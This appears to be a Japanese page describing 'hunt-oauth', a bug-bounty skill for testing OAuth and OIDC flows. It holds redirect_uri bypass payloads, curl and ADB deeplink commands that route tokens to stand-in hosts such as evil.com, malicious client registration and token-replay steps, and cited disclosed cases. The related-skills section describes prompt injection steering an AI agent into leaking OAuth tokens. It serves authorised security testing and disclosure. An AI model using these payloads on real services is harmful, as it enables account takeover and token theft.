hunt-oauth について
hunt-oauthは、WebアプリやモバイルアプリのOAuthおよびOpenID Connectフローを調べるセキュリティテスト用スキルです。偵察手順を整理し、リダイレクト検証、state、nonce、トークン処理、ディープリンクを扱います。
主な機能
- 01OAuthエントリーポイントの発見
- 02認可フローの整理
- 03リダイレクトURI検証テスト
- 04stateとnonceの確認
- 05モバイルのディープリンクテスト
- 06OIDCとトークン悪用パターン
活用シーン
- 01OAuthコールバックとリダイレクト処理の確認
- 02認可フローのCSRF対策テスト
- 03モバイルアプリのディープリンク処理の評価
- 04トークン漏えいとエンドポイント制御の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-oauthインストール後、Claude Code で/hunt-oauthを入力して読み込まれたか確認します。
詳細
最重要ターゲット
OAuth の脆弱性は、アカウント乗っ取り、セッション窃取、認証バイパスを直接可能にするため、ウェブセキュリティにおいて最も価値の高いバグの種類のひとつです。プログラムで最も高額な報奨金が支払われるのは、この三つの脅威です。
特に価値の高いターゲット:
- 一般消費者向けの ID プロバイダー(Google、Facebook、PayPal、Apple の SSO 統合)— ひとつ侵害されると、すべての依存先に影響が及びます
- カスタムのディープリンク OAuth ハンドラーを備えたモバイルアプリ — Android/iOS のインテント処理は、非常に緩いことで知られています
- マルチテナント SaaS プラットフォーム(GitLab や Reddit 規模のアプリ)— OAuth の脆弱性ひとつで、数百万のアカウントが影響を受けます
- フェデレーションログインを備えたゲーム/エンターテインメントプラットフォーム(Rockstar、Oculus)— セキュリティ成熟度の低いチームが担当していることも少なくありません
- エンタープライズ向け SSO コネクター — 重要なインフラで、深刻度に応じて高額な報奨金が支払われます
特に高額な報奨金が支払われる資産の種類:
- OAuth 認可エンドポイント(
/oauth/authorize、/connect/authorize) - トークン交換エンドポイント(
/oauth/token) - モバイルのディープリンクハンドラー(
push_notification_webview、カスタムスキーム URI) - ソーシャルログインのコールバックハンドラー(
/auth/callback、/oauth/callback)
一般的な報奨金: プログラムによって異なりますが、500~20,000 ドル以上です。アカウント乗っ取りの調査結果は、最高額の報奨金になることがよくあります。
攻撃対象領域の兆候
探すべき URL パターン
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
OAuth を示すレスポンスヘッダー
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
JavaScript のパターン(JS バンドル内を grep で検索)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
技術スタックの兆候
AndroidManifest.xmlにintent-filterがあり、http://またはカスタムスキーム URI を処理する Android アプリ- Doorkeeper、OmniAuth、Devise(Ruby)、Passport.js(Node)、Spring Security OAuth を使用するアプリ
- ソーシャルログインボタン(Google、Facebook、Apple)がある場合、OAuth の攻撃対象領域が存在します
.well-known/openid-configurationがある場合、OIDC の攻撃対象領域全体が利用可能です
手順ごとの調査方法
-
すべての OAuth エントリーポイントを列挙する
- アプリをクロールして、
/oauth、/connect、/auth、/loginのパスを調べます .well-known/openid-configurationと.well-known/oauth-authorization-serverを確認します- モバイル APK を逆コンパイルします:
apktool d app.apkを実行し、redirect_uri、intent://、ディープリンクのスキームを grep で検索します
- アプリをクロールして、
-
OAuth フロー全体をマッピングする
- 認可リクエストを取得します:
client_id、redirect_uri、state、nonce、response_typeを記録します - コールバックを取得します:トークンやコードの送信先と、
state/nonceの検証方法を記録します
- 認可リクエストを取得します:
-
redirect_uriの検証をテストする(最も成果が得られやすい項目)- ホスト名の完全一致を回避できるか試します:
redirect_uri=https://legit.com.evil.com - パストラバーサルを試します:
redirect_uri=https://legit.com/callback/../../../evil - まず正規ドメイン上のオープンリダイレクトを試し、その後 OAuth に連鎖させます
- パラメーター汚染を試します:
redirect_uri=https://legit.com&redirect_uri=https://evil.com - パーサーを混乱させるため、エンコードされた文字を試します:
%2F、%40、%23
- ホスト名の完全一致を回避できるか試します:
-
stateパラメーター(CSRF)をテストするstateを完全に削除します。フローは完了しますか?- セッションをまたいで固定の
state値を再利用します stateがサーバー側で検証されているか、クライアント側のみで検証されているかを確認します
-
nonceパラメーター(リプレイ/バイパス)をテストする- あるフローから nonce を取得し、別のフローでのリプレイを試みます
- トークン交換後に nonce が検証されているかを確認します
- リファラー漏えいによって nonce を抽出できるかテストします(手順 9)
-
認証手順が完全かテストする
- 複数ステップの認証(例:メール認証+OAuth)の場合、
/oauth/tokenに直接進めますか? - 未認証メールなどの認証状態が不完全なままでも、トークンエンドポイントで受け入れられるか確認します
- 複数ステップの認証(例:メール認証+OAuth)の場合、
-
リファラー漏えいを調査する
- URL フラグメントまたはクエリにトークンが含まれる OAuth コールバック後、ページ上のリソース(画像、スクリプト、iframe)が完全な
Refererヘッダーを受信するか確認します - 特に、認証後に呼び出される言語切り替え機能、アナリティクスの呼び出し、ソーシャル共有ボタンを調べます
- URL フラグメントまたはクエリにトークンが含まれる OAuth コールバック後、ページ上のリソース(画像、スクリプト、iframe)が完全な
-
モバイルのディープリンクをテストする
- Android の場合:OAuth WebView を攻撃者が制御する URL にリダイレクトする、悪意のある intent URI を作成します
- ディープリンクハンドラーが読み込み前にオリジン/ホストを検証しているか確認します
- 任意の URL を受け入れる
push_notification_webviewのパターンをテストします
-
設定ミスのあるクライアント認証情報をテストする
client_secretが JS バンドルや APK リソースに含まれているか確認します- 漏えいした
client_id/client_secretと組み合わせた場合に、トークンエンドポイントが任意のredirect_uri値を受け入れるかテストします
-
検証して記録する
stateが検証されていないことを確認します → アカウント連携への CSRF- トークンが攻撃者のドメインに送信されることを確認します → セッション窃取
- メール認証をスキップできることを確認します → 認証バイパス
- 報告前に Gate 0 チェックを実行します
ペイロードと検出パターン
redirect_uri バイパスペイロード
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://[email protected]
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%[email protected]
https://legit.com%252F..%252F..evil.com
State CSRF テスト
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
リファラー経由の Nonce 抽出
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
モバイルディープリンクの悪用(Android)
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
トークンエンドポイントの認証バイパス
# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "[email protected]" \
-d "password=password123" \
-d "client_id=CLIENT_ID"
偵察用 Grep パターン
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
OIDC のディスカバリーと動的登録の悪用
# Enumerate OIDC endpoints (esp. registration_endpoint)
curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'
# If registration_endpoint is open, register a malicious client with attacker redirect_uri
curl -X POST https://idp/connect/register \
-H "Content-Type: application/json" \
-d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'
クライアント間のトークン混同
# Mint token for client A, attempt replay on client B's API
TOKEN=$(curl -s https://idp/oauth/token \
-d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)
# Test if client B's API accepts the token (no audience validation)
curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"
OIDC prompt=none によるサイレント再認証テスト
# Test whether adding prompt=none to authorize request yields a token without user interaction
# Signals session fixation / silent auth abuse potential
curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"
共通する根本原因
-
弱い
redirect_uri検証 — 開発者が完全一致ではなく、プレフィックス(startsWith)で許可リストを作成したり、特定のパスではなくドメイン全体を許可したりしています。その結果、同一ドメイン上のサブパスにあるオープンリダイレクトが、トークン窃取を可能にする手段となります。 -
stateパラメーターがない、または検証されていない — 開発者がCSRF対策を省いた基本的なチュートリアルに従ってOAuthを実装したり、JavaScriptでクライアント側の検証だけを行ったりしています(容易に回避できます)。 -
トークン交換後にノンスが検証されない — ノンスを生成してリクエストに含めても、認可コードの交換後にIDトークンと照合していません。そのため、リプレイ攻撃が可能になります。
-
認証ステップの順序がサーバー側で強制されていない — チームが複数ステップの認証(サインアップ → メール確認 → OAuth許可)を実装しても、サーバー側で順序を強制していません。トークンエンドポイントでは、前提となるステップが完了しているか確認されません。
-
コールバックページで外部へのリクエストが行われ、トークンやコードがURLに含まれる — 開発者がクエリ文字列にトークンを含むコールバックページにユーザーを遷移させ、そのページでアナリティクス、ソーシャル共有、CDNへのリクエストを実行します。その結果、
Refererヘッダーを通じてURL全体が漏えいします。 -
モバイルのディープリンクハンドラーが、すべての入力URLを信頼する — Android/iOSの開発者が、読み込むURLが自社ドメインに属するか検証せずに、プッシュ通知フロー用のWebViewラッパーを構築しています。
-
OAuthアプリケーション登録の設定ミス — 開発者がワイルドカードのリダイレクトURI(
https://*.example.com/*)を登録したり、開発中に制限を設けず、本番環境向けの制限を忘れたりしています。 -
クライアントシークレットがモバイルアプリに埋め込まれている — 機密クライアントの認証情報を公開情報として扱うことで、シークレットを入手した攻撃者が、任意のリダイレクトURIを指定してトークンリクエストを実行できるようになります。
-
IDプロバイダー間でOIDCの
subクレームが曖昧 — 複数のIdP(Google、Microsoft、Apple)からのログインを受け入れるアプリでは、IdPを区別せずにsubのみをアカウントのキーとして使う場合があります。2つのIdPが異なるユーザーに同じsubを発行すると、一方のIdPの攻撃者が、もう一方のIdPに紐づいたアカウントを乗っ取れます。
回避手法
防御側:redirect_uri の完全一致許可リスト
回避策: 許可リストに登録されたドメイン自体にあるオープンリダイレクトを見つけ、そのURLを redirect_uri として使用します。OAuthサーバーは登録済みドメインを検証します ✓ が、オープンリダイレクトによって認可コード/トークンが攻撃者に転送されます。
redirect_uri=https://legit.com/logout?next=https://evil.com
防御側:state パラメーターを必須にする
回避策: state の長さや形式は検証していても、セッションとの紐づけは検証していないか確認します。固定された予測可能な state 値を使用します。また、PKCEが強制されているか確認してください。強制されていない場合、state の検証だけではコードインジェクションを防げません。
防御側:フラグメントのみでトークンを送信する(response_type=token)
回避策: ブラウザーはフラグメントを Referer に含めませんが、コールバックページ上のJavaScriptが window.location.hash を読み取り、アナリティクスに渡したり、親フレームにpostMessageで送信したりする可能性があります。postMessageハンドラーを傍受してください。
防御側:モバイルのディープリンクでホストを検証する
回避策: URLエンコード(https%3A//evil.com)、二重エンコード、Unicode正規化、ヌルバイトを試し、基盤となるWebViewは正しく遷移する一方で、バリデーターを誤作動させられるか確認します。
防御側:有効期間の短い認可コード
回避策: 攻撃者が高速な受信先を用意していれば、有効期間の短い認可コードでもリファラー漏えいやオープンリダイレクトは悪用できます。CSRFでは被害者がフローを完了するため、タイミングはさほど重要ではありません。
防御側:PKCEの強制
回避策: PKCEがすべてのクライアントで必須なのか、特定のクライアントに限られるのか確認します。従来のクライアントやモバイルアプリは免除されている場合があります。code_challenge を省略してテストしてください。サーバーが引き続きトークンを発行する場合、PKCEは強制されていません。
防御側:ノンスの検証
回避策: ノンスがJavaScriptによるクライアント側の検証だけになっていないか確認します。署名が検証されていない場合は、IDトークンのノンスクレームを傍受して変更してください(まれですが、設定を誤った実装で確認されています)。また、ノンスが最初のリクエストでは検証されても、トークンの更新時には検証されないことがないか確認します。
ゲート 0 の検証
レポートを書く前に、次の 3 つすべてに回答してください。
1. 攻撃者は今、何ができますか? 具体的に説明してください。「被害者に細工した URL を送る → 被害者がクリックする → 被害者の OAuth コードが攻撃者のサーバーにリダイレクトされる → 攻撃者がコードをアクセス トークンと交換する → 攻撃者は被害者としてログインする」のように記述します。この一連の流れを最後まで説明できない場合、情報提供にとどまる可能性があります。
2. 被害者は何を失いますか? 最低限の基準は、被害者が認証済みセッション(アカウントへのアクセス)を失うことです。より重大な影響としては、連携済みアカウント、支払い方法、個人データの喪失が挙げられます。攻撃者がアクセス権を得ずに被害者の身元を知るだけの場合、深刻度は大幅に下がります。
3. ゼロから 10 分以内に再現できますか? 以前の状態が一切ない、新しいブラウザーまたはデバイスを用意してください。記述した手順だけを使って、「未認証」の状態から 10 分以内に「被害者として認証済み」の状態まで進めるなら、そのバグは実在し、報告に値します。「リンクをクリックする」以上の特定の被害者の行動や、タイミングが合うこと、ネットワーク上の位置を必要とする場合は、それらの依存条件を明記してください。
実際の影響の例
シナリオ 1:プッシュ通知のディープリンクによるモバイルセッションの窃取(PayPal/Venmo のパターン)
攻撃者は、Android アプリのプッシュ通知ハンドラーが、ホストを検証せずにディープリンクの任意の url パラメーターを受け入れることを発見します。攻撃者は、アプリのカスタムスキームを使って、自身のサーバーを指す悪意のある URL を作成します。ソーシャルエンジニアリングや侵害されたプッシュ通知チャネルを通じて被害者に送信すると、アプリは WebView を開いて攻撃者のサーバーに移動します。攻撃者のサーバーはそこで OAuth フローを開始し、攻撃者の管理下にある「コールバック」に戻される OAuth トークンを取得します。結果として、数百万人のユーザーに影響する決済プラットフォームで、アカウントが完全に乗っ取られます。ビジネスへの影響:不正な送金、連携済みの支払い方法や取引履歴の漏えい。
シナリオ 2:トークンエンドポイントへの直接アクセスによるメール認証の回避(GitLab のパターン)
開発者が、メールアドレスを認証していない状態でアカウントを作成します。通常、プラットフォームではメールアドレスが認証されるまで、完全なアクセスをブロックします。しかし、/oauth/token エンドポイントは認証状態を確認せず、認証情報のみを検証します。攻撃者は有効な(未認証の)認証情報を使って /oauth/token を直接呼び出し、すべてのスコープが付与された OAuth トークンを取得します。このトークンは、その後のすべての認可チェックを通過します。結果として、認証が完全に回避され、未認証または使い捨てのメールアドレスで作成したアカウントがプラットフォームに完全にアクセスできるようになり、メール認証のセキュリティ制御が完全に無効化されます。GitLab のようなプラットフォームで大規模に発生した場合、CI/CD パイプライン、リポジトリ、API の利用に影響します。
シナリオ 3:言語変更時の Referer ヘッダーを介した OAuth トークンの窃取(Rockstar Games のパターン)
Facebook ログインの OAuth コールバックページでは、access_token をクエリ文字列に含む URL にユーザーが移動します。このページには、言語設定を変更する GET リクエストを行う言語切り替えウィジェットがあります。この GET リクエストには、Facebook のアクセス トークンを含むページの完全な URL が Referer ヘッダーとして含まれます。サーバーログを読み取れる攻撃者(言語変更エンドポイントを侵害した攻撃者、またはピクセルへのアクセス権を持つ悪意ある広告主も含む)は、Referer ログから Facebook OAuth トークンを収集します。結果として、攻撃者は被害者の Facebook アカウントや、その Facebook トークンを受け入れる他のサービスに認証でき、複数のプラットフォームにまたがるアカウント乗っ取りが成立します。ビジネスへの影響:GDPR/プライバシー侵害、複数サービスにまたがるアカウント侵害、規制上の責任が生じる可能性。
公開済みレポートの引用(追加 +9 件 — 2020~2024 年)
以下の実在が確認されたバグバウンティ/協調的な脆弱性開示事例は、引用された記事に実際に動作する PoC が記録されており、このスキルの対象範囲を当初の内部参照 10 件から拡張するものです。各事例は、それぞれ異なる OAuth のサブクラスです。
11. Semrush — IDN の同形異字リダイレクト_uriバイパス (H1 #861940)
- サブクラス:Unicode の類似文字を含むホスト(同形異字)を利用した redirect_uri バイパス
- ペイロード:redirect_uri=https://oauth.šemrush.com/cb(Punycode xn--emrush-9jb.com)— 検証器のラテン文字のみの文字列チェックを通過
- 根本原因:サーバーは redirect_uri のホストを ASCII 文字列の一致で検証していましたが、比較前に Unicode → 類似文字 → Punycode への正規化を行っていませんでした
- 開示:2020年、公開報奨金(額は非公開)。発見者:Yassine Aboukir
-
Bohemia Interactive — redirect_uri フィルターバイパス(BiStudio) (H1 #405100)
- サブクラス:
redirect_uriの検証バイパス → OAuth トークンの窃取 - ペイロード:正規表現/プレフィックスフィルターを回避し、攻撃者のホストにトークンを送信するよう
redirect_uriを細工。報告者はこのバイパスを、トークンを完全に漏えいさせる PoC につなげました - 根本原因:意図されたパターンには一致しながら、攻撃者が制御するホストを受け入れる脆弱な redirect_uri フィルター
- 年:2018年に開示。後続の報告でも引用されている、正規表現を利用した redirect_uri バイパスの代表例です
- サブクラス:
-
pixiv — OAuth
redirect_uriのパストラバーサル (H1 #1861974)- サブクラス:パストラバーサルによる
redirect_uriバイパス → 認可コードの漏えい - ペイロード:
redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb— サーバーは検証後に正規化していました - 根本原因:検証器は未加工の文字列を検査していましたが、後続の HTTP/ブラウザー処理が
../のトラバーサルを処理し、攻撃者のパスにコードを送信しました - 開示:2023年、2,000ドルの報奨金、244件の賛成票 — 支払いが確認済み
- サブクラス:パストラバーサルによる
-
Slack — OAuth2 redirect_uri バイパス(ドメインサフィックス) (H1 #2575)
- サブクラス:ドメインサフィックス/サブドメインの混同を利用した
redirect_uriの検証バイパス - ペイロード:登録済みホストとサフィックスが一致するドメイン(例:
slack.com.attacker.com)を使った redirect_uri が、サフィックスのみのチェックを回避しました - 根本原因:厳密なホスト一致ではなく、
endsWith()/サフィックス一致を使用 - 開示:2013年(現代の OAuth トレーニング資料でも引用される基礎的な事例)— Slack の公開報奨金
- サブクラス:ドメインサフィックス/サブドメインの混同を利用した
-
Booking.com(Facebook ソーシャルログイン) (Salt Labs の記事)
- サブクラス:3段階の連鎖 — 許可リスト登録済みドメインのオープンリダイレクト + redirect_uri バイパス +
response_typeの切り替え → Facebook OAuth コード/トークンの窃取 → ATO - ペイロード:
redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cbを含む認可 URL と、フラグメント経由でトークンを漏えいさせるよう切り替えたresponse_type - 根本原因:検証器が
account.booking.com配下の任意のパスを信頼していました。このホスト上のオープンリダイレクトにより、認証コードが攻撃者に転送されました - 開示:2023年3月 — 協調的な開示。公開された報奨金額はありません(約5億 MAU が影響を受ける可能性)
- サブクラス:3段階の連鎖 — 許可リスト登録済みドメインのオープンリダイレクト + redirect_uri バイパス +
-
Expo.io(
expo-auth-session)— CVE-2023-28131 (Salt Labs の記事)- サブクラス:スコープクリープ/未検証の
returnUrlパラメーター → アプリをまたぐ OAuth コードの窃取(expo-auth-sessionのソーシャルログインを利用するすべてのサービスに影響) - ペイロード:攻撃者が OAuth プロキシに
returnUrl=https://attacker.tldを渡すと、Expo が Facebook/Google/Apple/Twitter のコードをそのまま攻撃者に転送します - 根本原因:フレームワークレベルの OAuth プロキシが、ソーシャル IdP のコールバックを転送する前に
returnUrlのホストを検証していませんでした - 開示:2023年5月。CVSS 9.6。2023年2月のホットフィックスで修正され、2023年2月26日までに非推奨となりました
- サブクラス:スコープクリープ/未検証の
-
Microsoft Azure AD マルチテナント — 「nOAuth」(Descope による解説)
- サブクラス:未検証で変更可能な
emailクレームを介した IdP をまたぐアカウント乗っ取り(「Pass-The-Token」に相当) - ペイロード:攻撃者が Azure AD 管理者プロフィールの
mail属性を被害者のアドレスに設定 → メールクレームをキーとしてユーザーを識別する依存パーティーで「Microsoft でログイン」をクリック → 即座に ATO - 根本原因:Microsoft の
emailクレームは変更可能かつ未検証であり、依存パーティーはこれを主要識別子として扱っていました - 開示:2023 年 4 月 11 日に報告、2023 年 6 月 20 日に修正(緩和策と新しい
xms_edovクレーム)
- サブクラス:未検証で変更可能な
-
Grammarly / Vidio / Bukalapak — 「Pass-The-Token」ソーシャルログイン(Salt Labs による解説)
- サブクラス:Facebook の access_token に対する audience /
audの検証不足 → クライアントをまたぐトークンのリプレイ → ATO - ペイロード:攻撃者が
attacker.app向けに発行された Facebook トークンを取得 → Grammarly/Vidio/Bukalapak のログイン API にトークンを再送 → サーバーが/me経由で FB ユーザーを取得し、被害者のメールアドレスを見つけて、被害者のセッションを発行 - 根本原因:依存パーティーは攻撃者が発行したトークンで Facebook の
/meを呼び出すものの、トークンのapp_idが依存パーティーに属することを検証していませんでした - 開示:2023 年 10 月 — 3 サイト全体で約 10 億アカウントが影響を受けた、協調的な開示
- サブクラス:Facebook の access_token に対する audience /
-
Zoom — OAuth「ダーティー・ダンシング」による連鎖的 ATO(Harel Security による解説)
- サブクラス:
response_type=tokenの差し替え + 緩いpostMessageオリジンチェック + Cookie Tossing → web_message レスポンスモード経由で認可コードが漏えい → ATO + カメラ/マイクの乗っ取り - ペイロード:攻撃者のページが
response_type=code&response_mode=web_messageを指定して Zoom OAuth を開き、ウィンドウのリスナーが任意の*.zoom.usオリジンを受け入れるため、結果として送信されるpostMessageを傍受 → コードをセッションと交換 - 根本原因:脆弱な postMessage オリジンチェック、
stateに対する CSRF バインディングの欠如、厳密なオリジン検証なしに親ウィンドウへコードを返すresponse_mode=web_messageの組み合わせ - 開示:2023 年 10 月に報告、2024 年 1 月に修正、報奨金 15,000 ドル(Sudi / BrunoZero / H4R3L)
- サブクラス:
-
Detectify Labs — 「Dirty Dancing」による複数ベンダーの OAuth トークン漏えい(Detectify の解説、F. Rosén)
- サブクラス:レスポンスタイプの切り替え + 無効な state に関する挙動 + サードパーティ JavaScript ガジェットチェーン → XSS が一切不要な OAuth コード/トークンの漏えい
- ペイロード:攻撃者が
codeのみを検証するエンドポイントにresponse_type=tokenを強制し、無制限な postMessage リスナーやコールバックページ上の URL ストレージガジェットと組み合わせて、クロスオリジン読み取りを通じてトークンを抜き取る - 根本原因:OAuth サーバーが response_type のダウングレード/差し替えを許容し、コールバックページが許容範囲の広い postMessage 受信側を通じて
window.locationを漏えいさせます - 開示:2022 年 7 月 — 複数ベンダー(Apple、Microsoft、Slack など);PortSwigger Top 10 Web Hacks 2022 第 1 位
ブラウザーでの解析とサーバーでの解析 — redirect_uri のプレフィックス一致を回避するパターン
サーバー側で redirect_uri のプレフィックス一致に不備があることは、OAuth コードを攻撃者に渡すために必要ですが、それだけでは不十分です。サーバーのチェックを通過することは関門の1つであり、ブラウザーが実際にクロスオリジンへ遷移することは別の関門です。両者の挙動は異なります。この問題を OAuth から ATO への攻撃チェーンとして報告する前に、必ず両方を確認してください。
サーバー側の redirect_uri バリデーター | 攻撃 URL | サーバーの startswith() | ブラウザーで実際に解決されるホスト | 悪用可能か |
|---|---|---|---|---|
プレフィックス = https://acme.example(スラッシュなし) | https://[email protected]/cb | 通過 | evil.com(WHATWG URL 解析では、@ はユーザー情報の区切り文字です。:// の後にある最初の / より前にあります) | はい |
プレフィックス = https://acme.example/(末尾にスラッシュあり) | https://acme.example/@evil.com/cb | 通過 | acme.example(@ は最初の / より後にあるため、WHATWG はこれをパスの文字として解析します) | いいえ — ブラウザーは acme.example 上にとどまります |
プレフィックス = https://acme.example(部分文字列一致) | https://acme.example.evil.com/cb | 通過 | acme.example.evil.com(サブドメインの拡張です。.evil.com がホストに追加されています) | はい |
プレフィックス = https://acme.example/(末尾にスラッシュあり、サーバーが .. を正規化) | https://acme.example/../../@evil.com/cb | 生の文字列に対する startswith を通過 | acme.example(サーバーがパスを正規化します。正規化しない場合でも、ブラウザーもパスを正規化します) | 通常はいいえ |
プレフィックス = https://acme.example/(Chromium 固有) | https://acme.example/\@evil.com/cb | 通過 | ホストは状況によります — Chromium は \ を / に変換するため、これは https://acme.example//@evil.com/cb となり、acme.example 上にとどまります | 通常はいいえ |
運用上のルール: WHATWG URL パーサー(2018 年以降、すべての最新ブラウザーで使用)は、ユーザー情報の解析を権限部分、つまり :// の後にある最初の / より前でのみ行います。パスが始まった後の @ は単なる文字です。サーバー側の文字列 startswith チェックではこの挙動を再現できないため、ブラウザーが正規のホストに遷移する URL も通過してしまいます。
OAuth の問題を ATO 攻撃チェーンとして報告する前に、必ずヘッドレスブラウザー(Playwright / Puppeteer)または実際のブラウザーで、最終的な遷移をテストしてください。 サーバー側では受け入れられても、ブラウザーが正規のホストにとどまる場合、ATO にはなりません。docs/verification/phase3-playwright-browser-execution.md のテスト 29 で実環境での検証済みです。
関連スキルとチェーン
hunt-subdomain— 影響が最も大きい、唯一の OAuth チェーンです。チェーンの基本要素:OAuth のredirect_uriバリデーターが任意の*.target.comサブドメインを許可し、偵察によってdev-staging.target.comが廃止済みの Heroku/S3/Azure アプリを指す CNAME だと判明する → 放置されたサブドメインを取得する → そこに OAuth コールバック受信サーバーをホストする →/oauth/authorize?redirect_uri=https://dev-staging.target.com/cbを細工する → 被害者がクリックする → 認証コードが攻撃者の取得したサブドメインに届く → トークンと交換する → ATO。サブドメインが「正当に」target.com の管理下にあるため、redirect_uri の許可リストを通過します。hunt-ato— OAuth の state-CSRF は、アカウント連携を介した ATO の典型的な基本要素です。チェーンの基本要素:stateパラメーターが存在しない、またはセッションに紐付けられていない + 被害者がすでに target.com にログインしている + 攻撃者が自身のアカウントから OAuth フローを開始し、交換前にcodeを取得する + 攻撃者のコードを含むコールバック URL を細工する → 被害者にアクセスさせる → 被害者の target.com セッションが攻撃者の Google/Facebook ID に連携される → 攻撃者が Google 経由でログインする → 被害者のアカウントを乗っ取る。hunt-llm-ai— AI エージェント(ChatGPT plugins、Claude MCP サーバー、エージェント型コパイロット)向けの最新の OAuth フローでは、OAuth 2.1 + PKCE が再利用されています。チェーンの基本要素:エージェント型 AI がドキュメント内の間接的なプロンプトインジェクションからredirect_uriを受け入れる → モデルが攻撃者のコールバックを含む OAuth 認可 URL を作成する → ユーザーがエージェント自身のフローだと思って「承認」をクリックする → ツールの使用を通じてトークンが攻撃者のドメインに流出する。hunt-saml— OAuth が SAML IdP の上に重ねられている場合、IdP レベルの XSW が OAuth ATO の経路になります。チェーンの基本要素:アサーションの検証後に OAuth トークンを発行する SAML SP + アサーションに対する XSW 攻撃でNameIDを管理者ユーザーに変更する → SP が管理者の ID を持つ OAuth トークンを発行する → OAuth スコープ付き API が管理者アクセスを許可する。security-arsenal— OAuth のredirect_uriバイパステーブル(ホスト混同[email protected]、legit.com.evil.com、パストラバーサル、パラメーター汚染、エンコード済みスラッシュ%2F、フラグメントインジェクション#legit.com)と、完全一致の検証によって先に許可リスト対象ドメイン上のオープンリダイレクトを見つける必要がある場合に備え、オープンリダイレクトチェーンのカタログを確認してください。triage-validation— トークンが実際には漏えいしない OAuth の「オープンリダイレクト」(stateパラメーターのみが漏えいする場合や、コールバックページの URL に認証情報が含まれない場合)を Critical と主張する前に、重大度判定ゲートを実行してください。state のみの漏えいは Low です。トークン/コードの漏えいに加え、交換の実証ができている場合は Critical です。コードを交換する手順は必須です。